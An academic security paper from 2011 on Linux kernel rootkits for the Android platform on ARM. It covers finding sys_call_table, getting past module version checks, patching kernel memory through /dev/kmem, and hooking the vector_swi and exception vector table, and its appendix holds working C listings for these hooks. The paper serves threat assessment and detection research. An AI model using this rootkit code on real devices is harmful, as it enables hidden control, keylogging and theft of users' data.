Android platform based linux kernel rootkit

Dong-Hoon You*, Bong-Nam Noh**
*INetCop Security
**System Security Research Center, Chonnam National University
x82@inetcop.org

Abstract

Android with linux kernel is on its way to be a standard platform of various smart devices. Therefore, Android platform based linux kernel rootkit will be a major security threat to smart phones, tablet PCs, smart TVs and so on. Although there is an urgent need of remedy for this threat, no solution or even a suitable study has been announced. In this paper, we are going to depict some rootkits which exploit android kernel by taking advantage of LKM(loadable kernel module) and /dev/kmem device access technology and discuss the danger the rootkit attack would bring.

1. Introduction

Various linux kernel hooking techniques have been studied and publicized by pioneers[1,2,3,4,5] of this field and those hooking techniques have been adopted in various rootkits. This paper covers kernel hooking techniques that can be used in linux kernel based on Android platform using an ARM(Advanced RISC Machine) process. We will focus on rootkits which have their foundation on /dev/kmem access technique that Sivio Cesare[3] and sd[4] invented. For more interested readers, we have a great list of references that you can refer to.

In this paper, we had two prime goals to achieve. First we made hooking work with the least kernel memory modification. Second, like the hooking techniques in the past, we made the hooking performed freely regardless of before and after the system call occurs. More specifically, we will cover classic sys_call_table hooking technique using kmem device, another hooking technique that alters sys_call_table offset in vector_swi handler and finally, two more newly developed hooking techniques that modify interrupt service routine handler address in exception vector table.

By introducing several currently working Android kernel hooking techniques, we can assess the threat and anticipate possible growth of this technique and, at last, come out with a solution. This paper consists of 6 parts including an abstract. In chapter 2, there will be some basic information about hooking. In chapter 3, we will present reconstruction of existing linux rootkit for ARM processer. In chapter 4, we will cover a totally new rootkit technology and in chapter 5, effects of rootkits. Finally, in 6th chapter, we'd like to mention conclusion on our study and future plans. For your information, all of the example codes presented in this paper are tested on Motori XT720 model with 2.6.29-omap1 kernel, and GalaxyS SHW-M110S model with 2.6.32.9 kernel. All example codes are on appendix section.

2. Basic techniques for hooking

sys_call_table is a table which stores the addresses of low-level system routines. Most of classical hooking techniques interrupt the sys_call_table for some purposes[10,11]. Because of this, some protection techniques such as hiding symbol and moving to the field of read-only have been adapted to protect sys_call_table from attackers. These protections, however, can be easily removed if an attacker uses kmem device access technique. To discuss other techniques making protection useless is beyond the purpose of this paper.

2.1. Searching sys_call_table

If sys_call_table symbol is not exported and there is no sys_call_table information in kallsyms file which contains kernel symbol table information, it will be difficult to get the sys_call_table address that varies on each version of platform kernel. So, we need to research the way to get the address of sys_call_table without symbol table information. You can find the

978-1-4673-0034-6/11/$26.00 ©2011 IEEE

similar techniques on the web[12], However, we independently wrote a new code for an Android platform and tested it.

2.1.1. Getting sct addr in vector_swi. At first, we will show you the first way to get sys_call_table address. The code we will introduce here is written dependently on the interrupt application part of ARM process. Generally, in the case of ARM process, when interrupt or exception happens, it branches to the exception vector table. In that exception vector table, there are addresses of exception handler that match with each exception handler routines. The kernel of present Android platform uses high vector (0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4 byte instruction to branch to the software interrupt handler. When the instruction runs, the address of the software interrupt handler stored in the address 0xffff0420, offset by 0x420, is called. See the section 4.1 for more information.

Listing 1 in appendix is an experimental code to acquire sys_call_table address. At first, this code gets the address of vector_swi routines (software interrupt process exception handler) in the exception vector table of high vector and then gets the address of a code that handles the sys_call_table address. The following Figure 1 is a partial code of vector_swi handler.

```
000000c0 <vector_swi>:
      c0: e24dd048 sub sp, sp, #72
      c4: e88d1fff stmia sp, {r0 - r12}
      c8: e28d803c add r8, sp, #60
      cc: e9486000 stmdb r8, {sp, lr}^
      d0: e14f8000 mrs r8, SPSR
      d4: e58de03c str lr, [sp, #60]
      d8: e58d8040 str r8, [sp, #64]
      dc: e58d0044 str r0, [sp, #68]
      e0: e3a0b000 mov fp, #0 ; 0x0
      e4: e3180020 tst r8, #32 ; 0x20
      e8: 12877609 addne r7, r7, #9437184
      ec: 051e7004 ldreq r7, [lr, #-4]
      f0: e59fc0a8 ldr ip, [pc, #168]
      f4: e59cc000 ldr ip, [ip]
      f8: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0}
      fc: e321f013 msr CPSR_c, #19
    100: e1a096ad mov r9, sp, lsr #13
    104: e1a09689 mov r9, r9, lsl #13
[*]108: e28f8094 add r8, pc, #148
    10c: e599c000 ldr ip, [r9]
```

Figure 1. Partial code of vector_swi handler

The asterisk part is the code of sys_call_table. This code notifies the start of sys_call_table at the appointed offset from the present pc address. So, we can get the offset value to figure out the position of sys_call_table if we can find opcode pattern corresponding to "add r8, pc" instruction.

```
opcode: 0xe28f8???

if(((*(unsigned long *)vector_swi_addr)
    &0xfffff000)==0xe28f8000){
    offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
    sys_call_table=(void *)vector_swi_addr+offset;
    break;
```

Figure 2. Code to locate sys_call_table

From this, we can get the address of sys_call_table handled in vector_swi handler routine. In addition, the techniques on this paper are kernel dependent and might need some adjustments in order to work on new kernels that are coming afterward.

2.1.2. Finding sys_call_table addr through sys_close addr searching. The second way to get the address of sys_call_table is simpler than the way introduced in 2.1.1. This way is to find the address by using the fact that sys_close address, with open symbol, is at 0x6 offset from the starting point of sys_call_table. You can refer to Listing 2 in appendix section for more information on obtaining sys_call_table address through sys_close address search. By using the fact that sys_call_table resides after vector_swi handler address and the symbol is know to public, we can search the sys_close, as you can see in Figure 3, which is appointed as the sixth system call of sys_table_call.

```
fs/open.c:
EXPORT_SYMBOL(sys_close);
...
call.S:
/* 0 */                 CALL(sys_restart_syscall)
                        CALL(sys_exit)
                        CALL(sys_fork_wrapper)
                        CALL(sys_read)
                        CALL(sys_write)
/* 5 */                 CALL(sys_open)
                        CALL(sys_close)
```

Figure 3. sys_close with open symbol

This searching method has a technical disadvantage that we must get the sys_close kernel symbol address beforehand if it's embodied in user mode.

2.2. Treating version magic

A linux kernel uses a value called version magic(include/linux/vermagic.h) to maintain its dependency. Version magic value contains some critical configuration settings that have serious effect on implementing a module. Those settings are stored in .modinfo section when kernel is compiled and tested its correspondence with kernel version when insmod operation is performed to see if the module is valid. Therefore, if the vermagic value a rootkit has is different from that of system kernel, it will provide an error such as Figure 4.

```
# insmod sys_call_table.ko
insmod: init_module 'sys_call_table.ko' failed (Exec format error)
# dmesg -c
<3>[10605.267272] sys_call_table: version magic '2.6.29-omap1
preempt mod_unload ARMv5 ' should be '2.6.29-omap1 preempt
mod_unload ARMv7 '
#
```

Figure 4. vermagic value error message

The checking method we used above is not the wisest way in that it only refers to kernel version to check its validity. Following is a few workaround for some problem that may occur due to vermagic value discordance.

1. Modification of UTS_RELEASE value in utsrelease.h header.
2. Modification of __module_depends value in the kernel module.
3. Direct overwriting of vermagic value in a compiled kernel module binary.

The first technique to overcome vermagic discordance was publicized by Christaian Papathanasiou and Nicholas J. Percoco. For more information, readers can check Whitepaper[13] in a references section. The second technique is to add a new vermagic value in .modInfo section by editing __module_depends value in rootkit source code. The last technique is to directly overwrite vermagic value in binary code after the module is compiled.

3. Android linux rootkit embodiments

3.1. sys_call_table hooking through /dev/kmem access technique

If you want to know more detailed background knowledge about /dev/kmem access technique, check the "Run-time kernel patching" by Silvio[3] and "Linux on-the-fly kernel patching without LKM" by sd[4]. So far, Android platform linux kernel guarantees a root user the right to access /dev/kmem device. So, it is possible to move through lseek() and to read using read(). Newly written /dev/kmem access function is on Appendix Listing 3. Appendix Listing 3 makes the specific kernel memory address we want shared with user memory area as much as the size of two pages and then we can read and write the kernel by reading and writing on the shared memory. Even though the searched sys_call_table is allocated in read-only area, we can simply modify the contents of sys_call_table through /dev/kmem access technique. The example of hooking through sys_call_table modification is on Appendix Listing 4.

3.2. modifying sys_call_table handle code in vector_swi handler routine

The techniques introduced in chapter 3.1 are easily detected by rootkit detection tools. It is because existing detectors[6,7,8,9] only examine pre-determined tables and hardware dependent tables are not in the list. So, some pioneers have researched the ways which modify some parts of exception handler function processing software interrupt. The technique introduced in this chapter generates a copy version of sys_call_table in kernel heap memory without modifying the sys_call_table directly.

```
static void *hacked_sys_call_table[500];
static void **sys_call_table;
int sys_call_table_size;
...
int init_module(void){
...
    get_sys_call_table(); /* position and size of sys_call_table */
    memcpy(hacked_sys_call_table,sys_call_table,
    sys_call_table_size*4);
```

Figure 5. copy sys_call_table to heap memory

As you can see in Figure 5, after generating this copy version, we have to modify some parts of sys_call_table processed within vector_swi handler routine. It is because sys_call_table is handled as a

offset, not an address. It is a feature that separates ARM architecture from ia32 architecture.

```
code before compile:
ENTRY(vector_swi)
...
        get_thread_info tsk
        adr tbl, sys_call_table ; code of sys_call_table
        ldr ip, [tsk, #TI_FLAGS]

code after compile:
000000c0 <vector_swi>:
...
    100: e1a096ad mov r9, sp, lsr #13
    104: e1a09689 mov r9, r9, lsl #13
[*] 108: e28f8094 add r8, pc, #148
        ; deal sys_call_table as relative offset
    10c: e599c000 ldr ip, [r9]
```

Figure 6. before and after of a compile

So, We contrived a hooking technique modifying "add r8, pc, #offset" code itself like Figure 7.

```
before modifying: e28f80?? add r8, pc, #??
after modifying: e59f80?? ldr r8, [pc, #??]
```

Figure 7. Modification of offset

These instructions get the address of sys_call_table at the specified offset from the present pc address and then store it in r8 register. As a result, the address of sys_call_table is stored in r8 register. Now, we have to make a separated space to store the address of sys_call_table copy near the processing routine. After some consideration, As we can see in Figure 8, we overwrite nop codes of a function epilogue near vector_swi handler with the address of copy version of sys_call_table.

```
00000174 <__sys_trace_return>:
    174: e5ad0008 str r0, [sp, #8]!
    178: e1a02007 mov r2, r7
    17c: e1a0100d mov r1, sp
    180: e3a00001 mov r0, #1
    184: ebfffffe bl 0 <syscall_trace>
    188: eaffffb1 b 54 <ret_to_user>
[*] 18c: e320f000 nop {0} ; position to overwrite the copy of sct
    190: e320f000 nop {0}
    ...

000001a0 <__cr_alignment>:
    1a0: 00000000        ....

000001a4 <sys_call_table>:
```

Figure 8. overwriting nop codes

Now, if we count the offset from the address of sys_call_table to the address overwritten with the address of sys_call_table copy and then modify code, we can use the table we copied whenever system call is called. The hooking code modifying some parts of vector_swi handling routine and nop code near the address of sys_call_table is shown at appendix Listing 5. The code gets the address of the code that handles sys_call_table within vector_swi handler routine, and then finds nop code around and stores the address of hacked_sys_call_table which is a copy version of sys_call_table. After this, we get the sys_call_table handle code from the offset in which hacked_sys_call_table resides and then hooking starts.

4. exception vector table modifying hooking techniques

This chapter discusses two hooking techniques, one is the hooking technique which changes the address of software interrupt exception handler routine within exception vector table and the other is the technique which changes the offset of code branching to vector_swi handler. There are two hooking techniques and each technique has a different goal. One is to modify vector_swi handler without modifying sys_call_table. The other is to modify exception vector table without modifying either sys_call_table or vector_swi.

4.1. exception vector table

Exception vector table contains the address of various exception handler routines, branch code array and processing codes to call the exception handler routine. These are declared in entry-armv.S, copied to the point of the high vector(0xffff0000) by early_trap_init() routine within traps.c code, and make one exception vector table.

```
traps.c:
void __init early_trap_init(void)
{
    unsigned long vectors=CONFIG_VECTORS_BASE;
    /* 0xffff0000 */
    extern char __stubs_start[], __stubs_end[];
    extern char __vectors_start[], __vectors_end[];
    extern char __kuser_helper_start[], __kuser_helper_end[];
```

```
int kuser_sz = __kuser_helper_end -__kuser_helper_start;

memcpy((void *)vectors, __vectors_start, __vectors_end -
__vectors_start);
memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end -
__stubs_start);
```

Figure 9. partial code of traps.c

After the processing codes are copied in order by early_trap_init() routine in Figure 9, the exception vector table is initialized. That is a completion of an exception vector table which has structure of following Figure 10.

```
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000
[004] ffff0004: ea0000dd [Undef] ; b 0x380
[008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040]
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300
[010] ffff0010: ea00009a [Abort-data] ; b 0x280
[014] ffff0014: ea0000fa [Reserved] ; b 0x404
[018] ffff0018: ea000078 [IRQ] ; b 0x608
[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400
[020] Reserved
... skip ...
[22c] ffff022c: c003dbc0 [__irq_usr]
                ; exception handler routine addr array
[230] ffff0230: c003d920 [__irq_invalid]
[234] ffff0234: c003d920 [__irq_invalid]
[238] ffff0238: c003d9c0 [__irq_svc]
...
[420] ffff0420: c003df40 [vector_swi]
```

Figure 10. exception vector table structure

When software interrupt occurs, 4 byte instruction at 0xffff0008 is executed. The code copies the present pc to the address of exception handler and then branches. In other words, it branches to the vector_swi handler routine at 0x420 of exception vector table.

4.2. Hooking techniques changing vector_swi handler

The hooking technique changing the vector_swi handler is the first one that will be introduced. It changes the address of exception handler routine that processes software interrupt within exception vector table and calls the vector_swi handler routine forged by an attacker.

1. Generate the copy version of sys_call_table in kernel heap and then change the address of routine as aforementioned.
2. Copy not all vector_swi handler routine but the code before handling sys_call_table to kernel heap for simple hooking.
3. Fill the values with right values for the copied fake vector_swi handler routine to act normally and change the code to call the address of sys_call_table copy version. (generated in step 1)
4. Jump to the next position of sys_call_table handle code of original vector_swi handler routine.
5. Change the address of vector_swi handler routine of exception vector table to the address of fake vector_swi handler code.

The completed fake vector_swi handler has a code similar to Figure 11.

```
00000000 <new_vector_swi>:
    00: e24dd048 sub sp, sp, #72 ; 0x48
    04: e88d1fff stmia sp, {r0 - r12}
    08: e28d803c add r8, sp, #60 ; 0x3c
    0c: e9486000 stmdb r8, {sp, lr}^
    10: e14f8000 mrs r8, SPSR
    14: e58de03c str lr, [sp, #60]
    18: e58d8040 str r8, [sp, #64]
    1c: e58d0044 str r0, [sp, #68]
    20: e3a0b000 mov fp, #0 ; 0x0
    24: e3180020 tst r8, #32 ; 0x20
    28: 12877609 addne r7, r7, #9437184
    2c: 051e7004 ldreq r7, [lr, #-4]
[*] 30: e59fc020 ldr ip, [pc, #32]
    34: e59cc000 ldr ip, [ip]
    38: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0}
    3c: f1080080 cpsie i
    40: e1a096ad mov r9, sp, lsr #13
    44: e1a09689 mov r9, r9, lsl #13
[*] 48: e59f8000 ldr r8, [pc, #0]
[*] 4c: e59ff000 ldr pc, [pc, #0]
[*] 50: <hacked_sys_call_table address>
[*] 54: <vector_swi address to jmp>
[*] 58: <__cr_alignment routine address referring at 0x30>
```

Figure 11. Fake vector_swi handler code

The asterisk parts are the codes modified or added to the original code. In addition to the part that we modified to make the code refer __cr_alignment function, we added some instructions to save address of

sys_call_table copy version to r8 register, and jump back to the original vector_swi handler function. Appendix Listing 6 is the attack code written as a kernel module. the code gets the address which processes the sys_call_table within vector_swi handler routine and then copies original contents of vector_swi to the fake vector_swi variable before the address we obtained. After changing some parts of fake vector_swi to make the code refer _cr_alignment function address correctly, we need to add instructions that save the address of sys_call_table copy version to r8 register and jump back to the original vector_swi handler function. Finally, a hooking starts when we modify the address of vector_swi handler function within exception vector table.

4.3. Hooking techniques changing branch instruction offset

The second hooking technique to change the branch instruction offset within exception vector table is that we don't change vector_swi handler and change the offset of 4 byte branch instruction code called automatically when the software interrupt occurs.

1. Proceed to step 4 like the way in the section 4.2.
2. Store the address of generated fake vector_swi handler routine in the specific area within exception vector table.
3. Change 1 byte which is an offset of 4 byte instruction codes at 0xffff0008 and store.

We can see the changes applied to Appendix Listing 6 at Appendix Listing 7 and modified exception vector table at Figure 12.

```
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000
[004] ffff0004: ea0000dd [Undef] ; b 0x380
[008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044]
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300
[010] ffff0010: ea00009a [Abort-data] ; b 0x280
[014] ffff0014: ea0000fa [Reserved] ; b 0x404
[018] ffff0018: ea000078 [IRQ] ; b 0x608
[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400
[020] Reserved
... skip ...
[420] ffff0420: c003df40 [vector_swi]
[424] ffff0424: bf0ceb5c [new_vector_swi]
                ; fake vector_swi handler code
```

Figure 12. modified exception vector table

Hooking starts when the address of a fake vector_swi handler code is stored at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008 changes the address around 0xffff0424 for reference.

5. Effect of smart phone rootkit

On this chapter, we will talk about what kind of threats could smart phone rootkit bring to us. As we have discussed before, numerous linux rootkits for x86 servers can easily be ported to smart platform. With some applications, it is possible for a hacker to control the smart phone remotely via SMS. The demonstration video is on Appendixes B. What's worse is that a hacker can watch your financial information and transactions remotely. It is possible by building a keylogger that hooks touchpad interrupt with kernel based rootkit. Thus a hacker can usurp bank accounts, pin numbers or even can replace certain information to another. It is also possible for a advanced kernel based botnet that conceals the connection with C&C to appear. This botnet could hide or manipulate network status or malware so that a user may perform an attack without knowing it. A malware with kernel based rootkit technology can hide its information or stay hibernated until a hacker gives an order.

6. Conclusions

Linux kernel in the Android platform provides both LKM function and /dev/kmem access as a default setting. As they were in the early linux kernels, these functions are designed without considering the possibility of abusive exploitation. Thus they could be major threats to kernel memory integrity. We can easily expect these smart platform based kernel rootkit techniques to thrive, there is almost zero solutions or studies for the matter for now. Urgencies for smart platform kernel security would rise as the number of casualty does. We elucidated a few workable kernel rootkit techniques and discussed possible rootkit threats that may happen in a short future. Once again, we thank pioneers for their great work and we hope there would be more studies for Android kernel rootkit to be conducted. In the future, we would like to do deeper research on smart platform kernel rootkit technique. In addition, we would work on developing effective kernel modification detecting and restoring mechanism.

7. References

[1] halflife, "Abuse of the Linux Kernel for Fun and Profit", *Phrack Magazine*, issue 50, article 05, 1997.

[2] plaguez, "Weakening the Linux Kernel", *Phrack Magazine*, issue 52, article 18, 1998.

[3] Silvio Cesare, "RUNTIME KERNEL KMEM PATCHING", http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt, 1998.

[4] sd & devik, "Linux on-the-fly kernel patching without LKM", *Phrack Magazine*, issue 58, article 07, 2001.

[5] kad, "Handling Interrupt Descriptor Table for fun and profit", *Phrack Magazine*, issue 59, article 04, 2002.

[6] riq, "trojan eraser or i want my system call table clean", *Phrack Magazine*, issue 54, article 03, 1998.

[7] FuSyS, "Kernel Security Therapy Anti-Trolls (KSTAT)", http://www.s0ftpj.org/tools/kstat24_v1.1-2.tgz, 2002.

[8] Timothy Lawless, "Saint Jude, The Model", http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf, 2004.

[9] kern_check.c http://la-samhna.de/library/kern_check.c, 2003.

[10] J. Levine, J. Grizzard, P. Hutto, H.Owen, "A Methodology to Characterize Kernel Level Rootkit Exploits that Overwrite the System Call Table", *in Proceedings of IEEE SoutheastCon*, IEEE, 2004, pp. 25-31.

[11] J. Levine, J. Grizzard, H.Owen, "A Methodology to Charactorize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table", *in Proceedings of the 2nd IEEE International Information Assurance Workshop*, IEEE, 2004, pp. 107-125.

[12] fred, "Android LKM Rootkit", http://upche.org/doku.php?id=wiki:rootkit, 2009.

[13] Trustwave, "This is not the droid you're looking for...", Defcon 18, 2010.

8. Appendixes

A. Android platform based kernel rootkit publicized on Phrack

We attached partial example codes to prove the concepts we discussed. It may practically work for an abusive way, we strongly recommend you to use it for academic purpose only.

```
void get_sys_call_table(){
        void *swi_addr=(long *)0xffff0008;
        unsigned long offset=0, *vector_swi_addr=0, sys_call_table=0;
        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);
        while(vector_swi_addr++){
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe28f8000){
                        offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
                        sys_call_table=(void *)vector_swi_addr+offset;
                        break;
                }
        }
        return;
}
```

Listing 1. Obtain sys_call_table address from vector_swi handler

```
        …
        while(vector_swi_addr++){
                if(*(unsigned long *)vector_swi_addr==&sys_close){
                        sys_call_table=(void *)vector_swi_addr-(6*4);
                        break;
                }
        } …
```

Listing 2. Obtaining sys_call_table via sys_close address.

```
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
int kmem;
void read_kmem(unsigned char *m,unsigned off,int sz){
   int i; void *buf,*v_addr;
   if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
      MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
      exit(0);
   }
   for(i=0;i<sz;i++){
      v_addr=buf+(off&MAP_MASK)+i;
      m[i]=*((unsigned char *)v_addr);
   }
   if(munmap(buf,MAP_SIZE*2)==-1){
      exit(0);
   }
   return;
}
void write_kmem(unsigned char *m,unsigned off,int sz){
   int i; void *buf,*v_addr;
   if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
   MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
      exit(0);
   }
   for(i=0;i<sz;i++){
      v_addr=buf+(off&MAP_MASK)+i;
      *((unsigned char *)v_addr)=m[i];
   }
   if(munmap(buf,MAP_SIZE*2)==-1){
```

```
        exit(0);
    }
   return;
}
```

Listing 3. Access to kernel memory via /dev/kmem device

```
…
kmem=open("/dev/kmem",O_RDWR|O_SYNC);
if(kmem<0) return 1;
...
if(c=='I'||c=='i'){ /* install */
        addr_ptr=(char *)get_kernel_symbol("hacked_getuid");
        write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_writev");
        write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_kill");
        write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4);
        addr_ptr=(char *)get_kernel_symbol("hacked_getdents64");
        write_kmem((char*)&addr_ptr,addr+__NR_GETDENTS64*4,4);
} else if(c=='U'||c=='u'){ /* uninstall */ }
close(kmem);
…
```

Listing 4. change sys_call_table via /dev/kmem device

```
void install_hooker(){
        void *swi_addr=(long *)0xffff0008;
        unsigned long offset=0, *vector_swi_addr=0,*ptr;
        unsigned char buf[MAP_SIZE+1];
        unsigned long modify_addr1=0, modify_addr2=0, addr=0;
        char *addr_ptr;
        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);
        memset((char *)buf,0,sizeof(buf));
        read_kmem(buf,(long)vector_swi_addr,MAP_SIZE);
        ptr=(unsigned long *)buf;
        /* get the address of ldr that handles  sys_call_table */
        while(ptr){
                if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){
                        modify_addr1=(unsigned long)vector_swi_addr;
                        break;
                }
                ptr++; vector_swi_addr++;
        }
        /* get the address of nop that will be overwritten */
        while(ptr){
                if(*(unsigned long *)ptr==0xe320f000){
                        modify_addr2=(unsigned long)vector_swi_addr;
                        break;
                }
                ptr++; vector_swi_addr++;
        }
        /* overwrite nop with hacked_sys_call_table */
        addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table");
        write_kmem((char *)&addr_ptr,modify_addr2,4);
        /* calculate fake table offset */
        offset=modify_addr2-modify_addr1-8;
        /* change sys_call_table offset into fake table offset */
        addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */
        addr_ptr=(char *)addr;
        write_kmem((char *)&addr_ptr,modify_addr1,4);
        return;
}
```

Listing 5. Altering sys_call_table to address of copy version

```
static unsigned char new_vector_swi[500];
...
void make_new_vector_swi(){
        void *swi_addr=(long *)0xffff0008, *vector_swi_ptr=0;
        unsigned long offset=0, *vector_swi_addr=0,
        unsigned long orig_vector_swi_addr=0, add_r8_pc_addr=0;
        unsigned long ldr_ip_pc_addr=0, i=0;
        offset=((*(long *)swi_addr)&0xfff)+8;
        vector_swi_addr=*(unsigned long *)(swi_addr+offset);
        vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */
        orig_vector_swi_addr=vector_swi_addr;  /* vector_swi's addr */
        while(vector_swi_addr++){ /* processing __cr_alignment */
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe28f8000){
                        add_r8_pc_addr=(unsigned long)vector_swi_addr;
                        break;
                }
                /* get __cr_alignment's addr */
                if(((*(unsigned long *)vector_swi_addr)&
                0xfffff000)==0xe59fc000){
                        offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
                        ldr_ip_pc_addr=*(unsigned long *)
                        ((char *)vector_swi_addr+offset);
                }
        }
        /* creating fake vector_swi handler */
        memcpy(new_vector_swi,(char *)orig_vector_swi_addr,
        (add_r8_pc_addr-orig_vector_swi_addr));
        offset=(add_r8_pc_addr-orig_vector_swi_addr);
        for(i=0;i<offset;i+=4){
                if(((*(long *)&new_vector_swi[i])&
                0xfffff000)==0xe59fc000){
                        *(long *)&new_vector_swi[i]=0xe59fc020;
                        /* ldr ip, [pc, #32] */ break;
                }
        }
        *(long *)&new_vector_swi[offset]=0xe59f8000; /* ldr r8, [pc, #0]
*/
        offset+=4;
        *(long *)new_vector_swi[offset]=0xe59ff000; /* ldr pc, [pc, #0] */
        offset+=4;
```

```
        *(long *)&new_vector_swi[offset]=hacked_sys_call_table; // fake
        offset+=4;
        *(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4);
        /* jmp original vector_swi's addr */
        offset+=4;
        *(long *)&new_vector_swi[offset]=ldr_ip_pc_addr;
        /* __cr_alignment's addr */
        offset+=4;
        /* change the address of vector_swi handler within EVT */
        *(unsigned long *)vector_swi_ptr=&new_vector_swi;
        return;
}
```

Listing 6. Altering vector_swi address in exception vector table

```
- *(unsigned long *)vector_swi_ptr=&new_vector_swi;
...
+ *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi;
   /* 0xffff0424 */
...
+ *(unsigned long *)swi_addr+=4; /* 0xe59ff410 -> 0xe59ff414 */
```

Listing 7: Altering branch instruction offset in exception vector table

B. There is a video footage concerning our work

We conduct an actual attack on Motoroi XT720 with 2.6.29-omap1 kernel and GalaxyS SHW-M110S with 2.6.32.9 kernel. You can watch the video here: http://www.youtube.com/watch?v=HZ8J-manvPk